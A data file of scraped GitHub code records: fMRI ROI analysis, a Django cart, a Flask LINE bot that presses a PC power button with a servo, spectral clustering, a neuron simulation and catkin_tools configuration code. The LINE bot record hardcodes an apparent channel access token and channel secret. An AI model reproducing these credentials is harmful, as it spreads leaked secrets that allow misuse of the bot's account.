4,\n\n","repo_name":"cielobuezo/Algoritmos-","sub_path":"Cap_3/3.4/sortArray.py","file_name":"sortArray.py","file_ext":"py","file_size_in_byte":2393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"70500933586","text":"import numpy as np\nimport pandas as pd\nfrom nilearn.image import load_img, get_data, threshold_img, binarize_img\nfrom nilearn.masking import apply_mask\n\n\ndef extract_roi_mean(subs_stats_map, roi):\n stats_map = load_img(subs_stats_map[0])\n mask = load_img(roi)\n if not np.array_equal(stats_map.affine, mask.affine):\n print(stats_map.affine)\n print(mask.affine)\n raise Exception(\"The affines of data and roi are not the same.\")\n values = apply_mask(subs_stats_map, mask)\n mean_amplitude = np.nanmean(values, axis=1)\n return mean_amplitude\n\n\n# def extract_subs_roi_mean():\n# set subjects\nparticipants_tsv = r'/mnt/workdir/DCM/BIDS/participants.tsv'\nparticipants_data = pd.read_csv(participants_tsv, sep='\\t')\ndata = participants_data.query('game1_fmri>=0.5') # look out\ndata = data.query(\"(game1_acc>=0.80)and(Age>=18)\")\nsubjects = data['Participant_ID'].to_list()\n\n# set cmap tempalte\nstats_map_tempalte = r'/mnt/workdir/DCM/BIDS/derivatives/Nipype/game1/grid_rsa_corr_trials/Setall/6fold/{}/rs-corr_ztransf_map_coarse_{}fold.nii'\n\n# set ROI\nroi = load_img(r'/mnt/workdir/DCM/result/ROI/anat/juelich_EC_MNI152NL_prob.nii.gz')\n# roi = load_img(r'/mnt/workdir/DCM/docs/Mask/Park_Grid_ROI/EC_Grid_roi.nii')\nroi_thr_bin = binarize_img(roi, 20)\n# roi_thr_bin.to_filename(r'/mnt/workdir/DCM/result/ROI/anat/juelich_EC_MNI152NL_prob_L_thr99.nii.gz')\n\n# set fold\nfolds = range(4, 9)\n\nsub_roi_amp = pd.DataFrame(columns=['sub_id', 'ifold', 'amplitude'])\nfor ifold in folds:\n print(f\"________{ifold}fold start____________\")\n subs_stats_map = [stats_map_tempalte.format(s, ifold) for s in subjects]\n amplitude = extract_roi_mean(subs_stats_map, roi_thr_bin)\n tmp_dict = pd.DataFrame({'sub_id': subjects, 'ifold': [ifold] * len(subjects), 'amplitude': amplitude})\n sub_roi_amp = sub_roi_amp.append(tmp_dict, ignore_index=True)\n# sub_roi_amp.to_csv(r'/mnt/workdir/DCM/result/Specificity_to_6/RSA/sub-hp_ROI-EClthr99_amplitude-z.csv', index=False)\n\n# %%\nimport numpy as np\nimport seaborn as sns\nimport matplotlib.pyplot as plt\n\ncustom_params = {\"axes.spines.right\": False, \"axes.spines.top\": False}\nsns.set_theme(style=\"ticks\", rc=custom_params)\nsns.set_style(\"darkgrid\")\n\n# sub_roi_amp = pd.read_csv( r'/mnt/workdir/DCM/result/Specificity_to_6/RSA/sub-hp_ROI-EClthr95_amplitude-z.csv')\n\nfig, ax = plt.subplots()\nsns.boxplot(x='ifold', y=\"amplitude\", data=sub_roi_amp, width=.2,\n palette=[\"lightgray\", \"lightgray\", \"steelblue\", \"lightgray\", \"lightgray\"],\n boxprops={'edgecolor': 'None'},\n )\nsns.stripplot(x='ifold', y=\"amplitude\", data=sub_roi_amp, size=2, color='.3', linewidth=0)\nx = [0, 1, 2, 3, 4]\ny = [0] * len(x)\nplt.plot(x, y, linestyle='--', color='gray')\nplt.xticks(size=16)\nplt.xlabel('fold', size=16)\nplt.ylabel('Zscore')\nsub_num = len(set(sub_roi_amp['sub_id']))\nplt.title(\"High performance participants(num={})\".format(sub_num), size=16)\nplt.show()\n\n# %%\nfrom scipy.stats import ttest_1samp\n\nifold_p = []\nfor i in range(4, 9):\n fold6_act = sub_roi_amp.query(f'ifold=={i}')['amplitude'].to_list()\n _, p = ttest_1samp(fold6_act, 0, alternative='greater')\n ifold_p.append(p)\n p = round(p, 6)\n print('one sample t-test result of {}fold: pvalue={}'.format(i, p))\n\n# %%\n\nfrom scipy.stats import ttest_rel\n\nact1 = sub_roi_amp.query(f'ifold==6')['amplitude'].to_list()\nact2 = sub_roi_amp.query(f'ifold==8')['amplitude'].to_list()\n_, p = ttest_rel(act2, act1)\np = round(p, 6)\nprint('pair t-test result: pvalue={}'.format(p))\n","repo_name":"YukunQu/DCM","sub_path":"analysis/mri/roi/specificity_6fold.py","file_name":"specificity_6fold.py","file_ext":"py","file_size_in_byte":3518,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"36593741590","text":"def weight_on_planets():\n initWeight = int(input('What do you weigh on earth? '))\n marsWeight = initWeight * .38\n jupiterWeight = initWeight * 2.34\n\n print('\\nOn Mars you would weigh %4.2f pounds.' %(marsWeight))\n print('On Jupiter you would weigh %4.2f pounds.' %(jupiterWeight))\n\n\n\nif __name__ == '__main__':\n weight_on_planets()\n","repo_name":"cpe202spring2020/lab0-noah415","sub_path":"planets.py","file_name":"planets.py","file_ext":"py","file_size_in_byte":344,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"9930152387","text":"from django.shortcuts import (\n render, redirect, reverse,\n HttpResponse, get_object_or_404\n)\nfrom django.contrib import messages\n\nfrom artworks.models import Artwork\n\n\ndef view_shopping_cart(request):\n \"\"\" A view that renders the shopping cart contents page \"\"\"\n return render(request, 'shopping_cart/cart.html')\n\n\ndef add_to_cart(request, artwork_id):\n \"\"\" Add a quantity of the specified artwork to the shopping cart \"\"\"\n artwork = get_object_or_404(Artwork, pk=artwork_id)\n redirect_url = request.POST.get('redirect_url')\n\n # Check if quantity is specified in the POST request\n quantity = request.POST.get('quantity')\n if quantity is None:\n # If quantity is not specified, set default quantity to 1\n quantity = 1\n else:\n # Otherwise, convert quantity to an integer\n quantity = int(quantity)\n\n cart = request.session.get('shopping_cart', {})\n\n # Convert artwork_id to a string before comparing or storing it\n artwork_id_str = str(artwork_id)\n\n if artwork_id_str in list(cart.keys()):\n messages.info(request, f'{artwork.name} is already in your cart')\n else:\n cart[artwork_id_str] = quantity\n messages.success(request, f'Added {artwork.name} to your cart')\n\n request.session['shopping_cart'] = cart\n return redirect(redirect_url)\n\n\ndef adjust_cart(request, artwork_id):\n \"\"\"Adjust the quantity of the specified artwork to the specified amount\"\"\"\n artwork = get_object_or_404(Artwork, pk=artwork_id)\n quantity = int(request.POST.get('quantity'))\n cart = request.session.get('shopping_cart', {})\n\n if quantity > 0:\n cart[artwork_id] = quantity\n messages.success(\n request,\n f'Updated {artwork.name} quantity to {cart[artwork_id]}'\n )\n else:\n cart.pop(artwork_id)\n messages.success(request, f'Removed {artwork.name} from your cart')\n\n request.session['shopping_cart'] = cart\n return redirect(reverse('shopping_cart'))\n\n\ndef remove_from_cart(request, artwork_id):\n \"\"\"Remove the item from the shopping cart\"\"\"\n try:\n artwork = get_object_or_404(Artwork, pk=artwork_id)\n cart = request.session.get('shopping_cart', {})\n\n if str(artwork_id) in cart:\n cart.pop(str(artwork_id))\n messages.success(request, f'Removed {artwork.name} from your cart')\n else:\n messages.error(\n request, f'Artwork {artwork.name} is not in the cart'\n )\n\n request.session['shopping_cart'] = cart\n request.session.modified = True\n\n except Exception as e:\n messages.error(request, f'Error removing item: {e}')\n return redirect('shopping_cart')\n","repo_name":"AVTpepper/onestop-artist-shop","sub_path":"shopping_cart/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2716,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5476725573","text":"from flask import Flask, request, abort, render_template\nfrom Image_boot_cls import image_boot_cls\nfrom Servo import servo_run\nfrom ping import ping_host\nimport time\n\nfrom linebot import (\n LineBotApi, WebhookHandler\n)\nfrom linebot.exceptions import (\n InvalidSignatureError\n)\nfrom linebot.models import (\n MessageEvent, TextMessage, TextSendMessage,\n)\n\napp = Flask(__name__)\n\nline_bot_api = LineBotApi('8O0fX4TyHDlvt9wAWbP3jeVmLufH6KksuIxlAu9vI3FjkMJfoE0mqsQ7PjcxwUU2Ppc2S/7TaJcRUFWGvTtqUlEZmrftmkhnkw5xZdZn5nhLijDb0lRQeSGKQMZs6M24p/nP3mdc+I9aa1FD68MPPwdB04t89/1O/w1cDnyilFU=')\nhandler = WebhookHandler('5d92af10fe73a416f9cc0c1c0d5e62c0')\n \n\n@app.route(\"/callback\", methods=['POST'])\ndef callback():\n # get X-Line-Signature header value\n signature = request.headers['X-Line-Signature']\n\n # get request body as text\n # \n \n body = request.get_data(as_text=True)\n app.logger.info(\"Request body: \" + body)\n\n # handle webhook body\n try:\n handler.handle(body, signature)\n except InvalidSignatureError:\n print(\"Invalid signature. Please check your channel access token/channel secret.\")\n abort(400)\n\n return 'OK'\n\n\n@handler.add(MessageEvent, message=TextMessage)\ndef handle_message(event):\n\n if event.message.text == '有開機嗎': # \n\n boot_variable = image_boot_cls() \n if boot_variable == 1: # which is computer off\n c_state = 'Off'\n else: # which is computer on\n c_state = 'On'\n print('[Boot_variable]:',boot_variable)\n if c_state =='Off':\n text = '報告~沒開機!!'\n else:\n text = '報告~有開機!!' \n line_bot_api.reply_message(\n event.reply_token,\n TextSendMessage(text=text))\n \n elif event.message.text == '幫我開機':\n \n # Arm moving\n time.sleep(5)\n servo_run()\n success_move_arm_text='手臂狀態: 成功'\n \n \n # Check is boost or not\n boot_variable = image_boot_cls() \n if boot_variable == 1: # which is computer off\n c_state = 'Off'\n else: # which is computer on\n c_state = 'On'\n print('[Boot_variable]:',boot_variable)\n time.sleep(2)\n if c_state =='Off':\n boost_text = '電腦狀態: 關機'\n else:\n boost_text = '電腦狀態: 開機'\n \n # Check Network\n response = ping_host()\n if response==0:\n network_text = '網路狀態: 成功'\n else:\n network_text = '網路狀態: 失敗'\n \n all_text = '[通知]\\n'+success_move_arm_text+'\\n'+boost_text+'\\n'+network_text\n \n # Give advice\n if c_state =='Off' and response == 0:\n advice_text = '電腦電源可能沒開'\n elif c_state =='Off' and response == 1:\n advice_text = '電腦電源可能沒開且沒有網路'\n elif c_state =='On' and response == 1: \n advice_text = '已成功開啟電腦但沒有網路'\n else:\n advice_text = '您可以遠端電腦了'\n \n all_advice = '[診斷電腦]\\n'+advice_text\n \n line_bot_api.reply_message(\n event.reply_token,\n [TextSendMessage(text=all_text),TextSendMessage(text=all_advice)]) \n \n elif event.message.text == '幫我關機':\n \n move_complete_text = '目前功能無法關機...'\n line_bot_api.reply_message(\n event.reply_token,\n TextSendMessage(text=move_complete_text))\n \n elif event.message.text == '你好' or event.message.text == '安安':\n text = 'Hello~'\n line_bot_api.reply_message(\n event.reply_token,\n TextSendMessage(text=text))\n \n \n else: # \n Not_know_text= '我聽不懂你的意思'\n line_bot_api.reply_message(\n event.reply_token,\n TextSendMessage(text=Not_know_text))\n\nif __name__ == \"__main__\":\n app.run()\n\n\n\n","repo_name":"thomashuang2017/NCU_IOT_project","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3945,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"26944146750","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Nov 21 14:35:00 2018\n\n@author: 孙采萱-398\n\n要求:以谱聚类或者马尔科夫聚类对鸢尾花数据集进行处理,\n 得到类似如下图所示(Normalized Cut),并输出正确率。\n步骤:\n1.计算距离矩阵(例如欧氏距离)\n2.利用KNN计算邻接矩阵 AA\n3.由 AA 计算度矩阵 DD 和拉普拉斯矩阵 LL\n4.标准化 L→D−1/2LD−1/2L→D−1/2LD−1/2\n5.对矩阵 D−1/2LD−1/2D−1/2LD−1/2 进行特征值分解,得到特征向量 HnnHnn\n6.将 HnnHnn 当成样本送入 Kmeans 聚类\n7.获得聚类结果 C=(C1,C2,⋯,Ck)\n\n\"\"\"\nimport numpy as np\nimport scipy\nfrom sklearn.cluster import KMeans\nfrom sklearn.metrics import accuracy_score\n\n#计算距离矩阵\ndef euclidDistance(x1, x2, sqrt_flag=False):\n res = np.sum((x1-x2)**2)\n if sqrt_flag:\n res = np.sqrt(res)\n return res\n\ndef calEuclidDistanceMatrix(X):\n X = np.array(X)\n S = np.zeros((len(X), len(X)))\n for i in range(len(X)):\n for j in range(i+1, len(X)):\n S[i][j] = 1.0 * euclidDistance(X[i], X[j])\n S[j][i] = S[i][j]\n return S\n\n#利用KNN计算邻接矩阵 A\ndef myKNN(S, k, sigma=2.0):\n N = len(S)\n A = np.zeros((N,N))\n\n for i in range(N):\n dist_with_index = zip(S[i], range(N))\n dist_with_index = sorted(dist_with_index, key=lambda x:x[0])\n neighbours_id = [dist_with_index[m][1] for m in range(k+1)] # xi's k nearest neighbours\n\n for j in neighbours_id: # xj is xi's neighbour\n A[i][j] = np.exp(-S[i][j]/2/sigma/sigma)\n A[j][i] = A[i][j] # mutually\n return A\n\n#标准化的拉普拉斯矩阵\n#由A计算度矩阵D和拉普拉斯矩阵L\ndef laplacian(A):\n \"\"\"Computes the symetric normalized laplacian.\n L = D^{-1/2} A D{-1/2}\n \"\"\"\n D = np.zeros(A.shape)\n w = np.sum(A, axis=0)\n D.flat[::len(w) + 1] = w ** (-0.5) # set the diag of D to w\n return D.dot(A).dot(D)\n\n#k-means\ndef k_means(X, n_clusters):\n kmeans = KMeans(n_clusters=n_clusters, random_state=2)\n return kmeans.fit(X).labels_\n\n#谱聚类\ndef spectral_clustering(affinity, n_clusters, cluster_method=k_means):\n L = laplacian(affinity)\n eig_val, eig_vect = scipy.sparse.linalg.eigs(L, n_clusters)\n X = eig_vect.real\n rows_norm = np.linalg.norm(X, axis=1, ord=2)\n Y = (X.T / rows_norm).T\n labels = cluster_method(Y, n_clusters)\n return labels\n\nif __name__ == '__main__':\n import matplotlib.pyplot as plt\n\n#引入数据集 \n from sklearn import datasets\n iris = datasets.load_iris()\n data = np.array(iris.data)\n lable = np.array(iris.target)\n Similarity = calEuclidDistanceMatrix(data)\n Adjacent = myKNN(Similarity, k=10)\n Laplacian = laplacian(Adjacent)\n x, V = np.linalg.eig(Laplacian)\n x = zip(x, range(len(x)))\n x = sorted(x, key=lambda x:x[0])\n H = np.vstack([V[:,i] for (v, i) in x[:500]]).T\n sp_kmeans = k_means(H,n_clusters=3)\n pure_kmeans = k_means(data,n_clusters=3)\n \n''' \n#样本可视化\nfor i in range(len(lable)):\n if lable[i] == 0:\n plt.scatter(data[i,0], data[i,1],c=\"w\", edgecolors='b')\n elif lable[i] == 1:\n plt.scatter(data[i,0], data[i,1], c=\"w\", edgecolors='r')\n else:\n plt.scatter(data[i,0], data[i,1], c=\"w\", edgecolors='g')\n'''\n\n\n#预测可视化\nfor i in range(len(data)):\n if pure_kmeans[i] == 0:\n plt.scatter(data[i,0], data[i,1],c=\"w\", edgecolors='k', marker=\"v\")\n elif pure_kmeans[i] == 1:\n plt.scatter(data[i,0], data[i,1], c=\"w\", edgecolors='k', marker=\"s\")\n else:\n plt.scatter(data[i,0], data[i,1], c=\"w\", edgecolors='k', marker=\"o\") \n \n#print(sp_kmeans)\n#score_sp = accuracy_score(lable,sp_kmeans)\n#print(score_sp)\n#print(pure_kmeans)\n\n#准确率\nscore_pure = accuracy_score(lable,pure_kmeans)\nprint(score_pure)\n\n'''\n#邻接矩阵绘制无向图\nimport networkx as nx\nG=nx.Graph()\nedglist=[]\nN = Adjacent\nfor i in range(150):\n for j in range(1,4):\n edglist.append((N[i][0],N[i][j]))\nG=nx.Graph(edglist)\nposition = nx.circular_layout(G)\nnx.draw_networkx_nodes(G,position,node_color=\"r\")\nnx.draw_networkx_edges(G,position)\nnx.draw_networkx_labels(G,position)\nplt.show()\n'''","repo_name":"MarshallOpen/-Team-1-more","sub_path":"people/suncaixuan/Clustering Schoolwork_1.py","file_name":"Clustering Schoolwork_1.py","file_ext":"py","file_size_in_byte":4206,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"15211746657","text":"# exec(open('Izhitemplate.py').read())\n# Tried using USEION to communicate. Works but the weights and amp has to be setup to very high values. Probably just use the pointer version\nfrom neuron import h, gui\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nv_init=-70\n\ndummyE1 = h.Section(name='dummyE1') #dummy section to insert Izhikevich\n\nizhiE1 = h.Izhi2003a(0.5,sec=dummyE1) #insert Izhikevich\nizhiE1.V = v_init\n\nAMPAR = h.Exp2SynAMPAR(dummyE1(0.5)) #insert AMPAR synapse\nAMPAR.tau1 = 3.5\nAMPAR.tau2 = 21\nAMPAR.e = 0\n\nGABAR = h.Exp2SynGABAR(dummyE1(0.5)) #insert GABAR synapse\nGABAR.tau1 = 6.4\nGABAR.tau2 = 40\nGABAR.e = -80\n\nstim = h.IClampizhi(dummyE1(0.5)) #insert IClamp izhikevich version\nstim.delay = 2000\nstim.dur = 500\nstim.amp = 10000\n\nArtinputE = h.NetStim() #Excitatory neuron input\nArtinputE.interval = 20\nArtinputE.number = 5\nArtinputE.start = 500\n\nArtinputI = h.NetStim() #Inhibitory neuron input\nArtinputI.interval = 20\nArtinputI.number = 5\nArtinputI.start = 1000\n\ncon_ArtinputE_AMPAR = h.NetCon(ArtinputE, AMPAR) #Connecting excitatory input to AMPAR\ncon_ArtinputE_AMPAR.weight[0] = 150\ncon_ArtinputI_GABAR = h.NetCon(ArtinputI, GABAR) #Connecting inhibitory input to GABAR\ncon_ArtinputI_GABAR.weight[0] = 100\n\nh.setpointer(izhiE1._ref_V, 'Vizhi', AMPAR) #So that AMPAR uses Izhikevich voltage V instead of the cell's voltage\nh.setpointer(izhiE1._ref_V, 'Vizhi', GABAR) #So that GABAR uses Izhikevich voltage V instead of the cell's voltage\n# h.setpointer(stim._ref_icla, 'Ic', izhiE1) #So that\n# h.setpointer(AMPAR._ref_iam, 'Iampar', izhiE1)\n# h.setpointer(GABAR._ref_iga, 'Igabar', izhiE1)\n\nv_vec = h.Vector() # Membrane potential vector\nt_vec = h.Vector() # Time stamp vector\nv_vec.record(izhiE1._ref_V)\nt_vec.record(h._ref_t)\n\nh.finitialize(v_init)\nh.tstop = 3000\nh.v_init = v_init\nh.run()\n\nplt.plot(t_vec,v_vec)\nplt.show()\n","repo_name":"analkumar2/Thesis-work","sub_path":"2019-08-19-Izhekevich_network/EI_Izh_network/Izhitemplate.py","file_name":"Izhitemplate.py","file_ext":"py","file_size_in_byte":1875,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"11399707453","text":"from __future__ import print_function\n\nimport os\nimport re\nimport sys\n\nfrom . import common\nfrom . import metadata\n\nfrom .common import getcwd\nfrom .common import printed_fill\nfrom .common import remove_ansi_escape\nfrom .common import terminal_width\n\nfrom .metadata import find_enclosing_workspace\n\nfrom .resultspace import get_resultspace_environment\n\nfrom .terminal_color import ColorMapper\n\ncolor_mapper = ColorMapper()\nclr = color_mapper.clr\n\n\nclass Context(object):\n\n \"\"\"Encapsulates a catkin workspace's settings which affect build results.\n\n This class will validate some of the settings on assignment using the\n filesystem, but it will never modify the filesystem. For instance, it will\n raise an exception if the source space does not exist, but it will not\n create a folder for the build space if it does not already exist.\n\n This context can be locked, so that changing the members is prevented.\n \"\"\"\n\n DEFAULT_DOC_SPACE = 'docs'\n DEFAULT_LOG_SPACE = 'logs'\n DEFAULT_SOURCE_SPACE = 'src'\n DEFAULT_BUILD_SPACE = 'build'\n DEFAULT_DEVEL_SPACE = 'devel'\n DEFAULT_INSTALL_SPACE = 'install'\n\n STORED_KEYS = [\n 'underlays',\n 'source_space',\n 'log_space',\n 'build_space',\n 'devel_space',\n 'install_space',\n 'devel_layout',\n 'install',\n 'isolate_install',\n 'cmake_args',\n 'make_args',\n 'jobs_args',\n 'use_internal_make_jobserver',\n 'use_env_cache',\n 'catkin_make_args',\n 'whitelist',\n 'blacklist',\n 'platform',\n 'toolchain'\n ]\n\n KEYS = STORED_KEYS + [\n 'workspace',\n 'profile',\n ]\n\n @classmethod\n def load(\n cls,\n workspace_hint=None,\n profile=None,\n opts=None,\n strict=False,\n append=False,\n remove=False,\n load_env=True\n ):\n \"\"\"Load a context from a given workspace and profile with optional\n modifications.\n\n This function will try to load a given context from the specified\n workspace with the following resolution strategy:\n - existing workspace enclosing given workspace path\n - existing workspace enclosing \".\"\n - given workspace path\n - \".\"\n\n If a workspace cannot be found, it will assume that the user is\n specifying a new workspace, unless `strict=True` is given. In this\n latter case, this function will return None.\n\n :param workspace_hint: The hint used to find a workspace (see description for more details)\n :type workspace_hint: str\n :param profile: The profile to load the context from, if the profile is None, the active profile is used\n :type profile: str\n :param opts: An argparse options namespace containing context keys to override stored context keys\n :type opts: namespace\n :param strict: Causes this function to return None if a workspace isn't found\n :type strict: bool\n :param append: Appends any list-type opts to existing opts\n :type append: bool\n :param remove: Removes any list-type opts from existing opts\n :type remove: bool\n :param load_env: Control whether the context loads the resultspace\n environment for the full build context\n :type load_env: bool\n\n :returns: A potentially valid Context object constructed from the given arguments\n :rtype: Context\n \"\"\"\n\n # Initialize dictionary version of opts namespace\n opts_vars = vars(opts) if opts else {}\n\n # Get the workspace (either the given directory or the enclosing ws)\n workspace_hint = workspace_hint or opts_vars.get('workspace', None) or getcwd()\n workspace = find_enclosing_workspace(workspace_hint)\n if not workspace:\n if strict or not workspace_hint:\n return None\n else:\n workspace = workspace_hint\n opts_vars['workspace'] = workspace\n\n # Get the active profile\n profile = profile or opts_vars.get('profile', None) or metadata.get_active_profile(workspace)\n opts_vars['profile'] = profile\n\n # Initialize empty metadata/args\n config_metadata = {}\n context_args = {}\n\n # Get the metadata stored in the workspace if it was found\n if workspace:\n config_metadata = metadata.get_metadata(workspace, profile, 'config')\n context_args.update(config_metadata)\n\n # has not been stored before, take the chance to do some initialisations\n if not config_metadata:\n # if --no-underlays is set, then opts_vars['underlays'] == '' is True\n if 'underlays' not in opts_vars or opts_vars['underlays'] is None:\n opts_vars['underlays'] = common.get_default_underlay()\n\n # User-supplied args are used to update stored args\n # Only update context args with given opts which are not none\n for (k, v) in opts_vars.items():\n if k in Context.KEYS and v is not None:\n # Handle list-type arguments with append/remove functionality\n if type(context_args.get(k, None)) is list and type(v) is list:\n if append:\n context_args[k] += v\n elif remove:\n context_args[k] = [w for w in context_args[k] if w not in v]\n else:\n context_args[k] = v\n else:\n context_args[k] = v\n\n # Create the build context\n ctx = Context(**context_args)\n\n # Don't load the cmake config if it's not needed\n if load_env:\n ctx.load_env()\n\n return ctx\n\n @classmethod\n def save(cls, context):\n \"\"\"Save a context in the associated workspace and profile.\"\"\"\n metadata.update_metadata(\n context.workspace,\n context.profile,\n 'config',\n context.get_stored_dict())\n\n def get_stored_dict(self):\n \"\"\"Get the context parameters which should be stored persistently.\"\"\"\n return dict([(k, getattr(self, k)) for k in Context.STORED_KEYS])\n\n def __init__(\n self,\n workspace=None,\n profile=None,\n underlays=None,\n source_space=None,\n doc_space=None,\n log_space=None,\n build_space=None,\n devel_space=None,\n install_space=None,\n devel_layout=None,\n install=False,\n isolate_install=False,\n cmake_args=None,\n make_args=None,\n jobs_args=None,\n use_internal_make_jobserver=True,\n use_env_cache=False,\n catkin_make_args=None,\n whitelist=None,\n blacklist=None,\n platform=None,\n toolchain=None,\n **kwargs\n ):\n \"\"\"Creates a new Context object, optionally initializing with parameters\n\n :param workspace: root of the workspace, defaults to the enclosing workspace\n :type workspace: str\n :param profile: profile name, defaults to the default profile\n :type profile: str\n :param underlays: semi-colon separated list of catkin workspace underlays\n :type underlays: str\n :param source_space: relative location of source space, defaults to '/src'\n :type source_space: str\n :param doc_space: relative location of doc space, defaults to '/docs'\n :type doc_space: str\n :param log_space: relative location of log space, defaults to '/logs'\n :type log_space: str\n :param build_space: relativetarget location of build space, defaults to '/build'\n :type build_space: str\n :param devel_space: relative target location of devel space, defaults to '/devel'\n :type devel_space: str\n :param install_space: relative target location of install space, defaults to '/install'\n :type install_space: str\n :param isolate_devel: each package will have its own develspace if True, default is False\n :type isolate_devel: bool\n :param install: packages will be installed by invoking ``make install``, defaults to False\n :type install: bool\n :param isolate_install: packages will be installed to separate folders if True, defaults to False\n :type isolate_install: bool\n :param cmake_args: extra cmake arguments to be passed to cmake for each package\n :type cmake_args: list\n :param make_args: extra make arguments to be passed to make for each package\n :type make_args: list\n :param jobs_args: -j and -l jobs args\n :type jobs_args: list\n :param use_internal_make_jobserver: true if this configuration should use an internal make jobserv\n :type use_internal_make_jobserver: bool\n :param use_env_cache: true if this configuration should cache job environments loaded from resultspaces\n :type use_env_cache: bool\n :param catkin_make_args: extra make arguments to be passed to make for each catkin package\n :type catkin_make_args: list\n :param whitelist: a list of packages to build by default\n :type whitelist: list\n :param blacklist: a list of packages to ignore by default\n :type blacklist: list\n :param platform: name of a platform specific configuration from the platform library\n :type platform: str\n :param toolchain: name of a toolchain from the toolchain library\n :type toolchain: str\n :raises: ValueError if workspace or source space does not exist\n \"\"\"\n self.__locked = False\n\n # Check for unhandled context options\n if len(kwargs) > 0:\n print('Warning: Unhandled config context options: {}'.format(kwargs), file=sys.stderr)\n\n # Validation is done on assignment\n # Handle *space assignment and defaults\n self.workspace = workspace\n\n self.underlays = underlays if underlays else None\n\n self.profile = profile\n\n self.source_space = Context.DEFAULT_SOURCE_SPACE if source_space is None else source_space\n # create a subdirectory for the profile if it is not the default - an alternative option\n # might be to situate these on the current directory instead, just like the regular parallel build flow\n self.build_root = self.profile if self.profile != metadata.DEFAULT_PROFILE_NAME else ''\n self.log_space = os.path.join(self.build_root, Context.DEFAULT_LOG_SPACE) if log_space is None else log_space\n self.doc_space = os.path.join(self.build_root, Context.DEFAULT_DOC_SPACE) if doc_space is None else doc_space\n self.build_space = os.path.join(self.build_root, Context.DEFAULT_BUILD_SPACE) if build_space is None else build_space\n self.devel_space = os.path.join(self.build_root, Context.DEFAULT_DEVEL_SPACE) if devel_space is None else devel_space\n self.install_space = os.path.join(self.build_root, Context.DEFAULT_INSTALL_SPACE) if install_space is None else install_space\n self.destdir = os.environ['DESTDIR'] if 'DESTDIR' in os.environ else None\n\n # Handle package whitelist/blacklist\n self.whitelist = whitelist or []\n self.blacklist = blacklist or []\n\n # Cross compiling helpers\n self.platform = platform\n self.toolchain = toolchain\n\n # Handle build options\n self.devel_layout = devel_layout if devel_layout else 'linked'\n self.install = install\n self.isolate_install = isolate_install\n\n # Handle additional cmake and make arguments\n self.cmake_args = cmake_args or []\n self.make_args = make_args or []\n self.jobs_args = jobs_args or []\n self.use_internal_make_jobserver = use_internal_make_jobserver\n self.use_env_cache = use_env_cache\n self.catkin_make_args = catkin_make_args or []\n\n # List of packages in the workspace is set externally\n self.packages = []\n\n # List of warnings about the workspace is set internally\n self.warnings = []\n\n # Initialize environment settings set by load_env\n self.manual_cmake_prefix_path = None\n self.cached_cmake_prefix_path = None\n self.env_cmake_prefix_path = None\n self.cmake_prefix_path = None\n\n def load_env(self):\n # Check for CMAKE_PREFIX_PATH in manual cmake args\n self.manual_cmake_prefix_path = ''\n for cmake_arg in self.cmake_args:\n prefix_path_match = re.findall('-DCMAKE_PREFIX_PATH.*?=(.+)', cmake_arg)\n if len(prefix_path_match) > 0:\n self.manual_cmake_prefix_path = prefix_path_match[0]\n\n # Load and update mirror of 'sticky' CMake information\n if self.install:\n sticky_env = get_resultspace_environment(self.install_space_abs, quiet=True)\n else:\n sticky_env = get_resultspace_environment(self.devel_space_abs, quiet=True)\n\n self.cached_cmake_prefix_path = ''\n if 'CMAKE_PREFIX_PATH' in sticky_env:\n split_result_cmake_prefix_path = sticky_env.get('CMAKE_PREFIX_PATH', '').split(':')\n if len(split_result_cmake_prefix_path) > 1:\n self.cached_cmake_prefix_path = ':'.join(split_result_cmake_prefix_path[1:])\n\n # Either load an explicit environment or get it from the current environment\n self.env_cmake_prefix_path = ''\n underlays_unique = set()\n extended_env = {}\n if self.underlays:\n for underlay_path in self.underlays.split(\";\"):\n try:\n extended_env = get_resultspace_environment(underlay_path, quiet=False)\n underlay_cmake_prefix_path = set(extended_env.get('CMAKE_PREFIX_PATH', '').split(';'))\n underlays_unique = underlays_unique.union(underlay_cmake_prefix_path)\n except IOError as e:\n # quietly continue - cmake is quite ok if the CMAKE_PREFIX_PATH is overpopulated\n print(clr(\"@!@{yf}Warning:@| %s\" % str(e)))\n self.env_cmake_prefix_path = ';'.join(underlays_unique)\n if not self.env_cmake_prefix_path:\n print(clr(\"@!@{rf}Error:@| Could not load any environment from workspace underlays: '%s', \"\n % self.underlays))\n sys.exit(1)\n else:\n # Get the current CMAKE_PREFIX_PATH\n if 'CMAKE_PREFIX_PATH' in os.environ:\n split_result_cmake_prefix_path = os.environ['CMAKE_PREFIX_PATH'].split(':')\n if len(split_result_cmake_prefix_path) > 1 and (\n (not self.install and split_result_cmake_prefix_path[0] == self.devel_space_abs) or\n (self.install and split_result_cmake_prefix_path[0] == self.install_space_abs)):\n\n self.env_cmake_prefix_path = ':'.join(split_result_cmake_prefix_path[1:])\n else:\n self.env_cmake_prefix_path = os.environ.get('CMAKE_PREFIX_PATH', '').rstrip(':')\n\n # Add warning for empty extend path\n if (self.devel_layout == 'linked' and\n (self.underlays is None and\n not self.cached_cmake_prefix_path and\n not self.env_cmake_prefix_path)):\n self.warnings += [clr(\n \"Your workspace is not using any underlays, but \"\n \"it is set to use a `linked` devel space layout. This \"\n \"requires the `catkin` CMake package in your source space \"\n \"in order to be built.\")]\n\n # Add warnings based on conflicting CMAKE_PREFIX_PATH\n elif self.cached_cmake_prefix_path and self.underlays:\n up_in_lcpp = True\n for underlay_path in self.underlays:\n up_in_lcpp = up_in_lcpp and any([underlay_path in p for p in self.cached_cmake_prefix_path.split(';')])\n if not up_in_lcpp:\n self.warnings += [clr(\n \"One or more of your underlays is not contributing to the \"\n \"cached 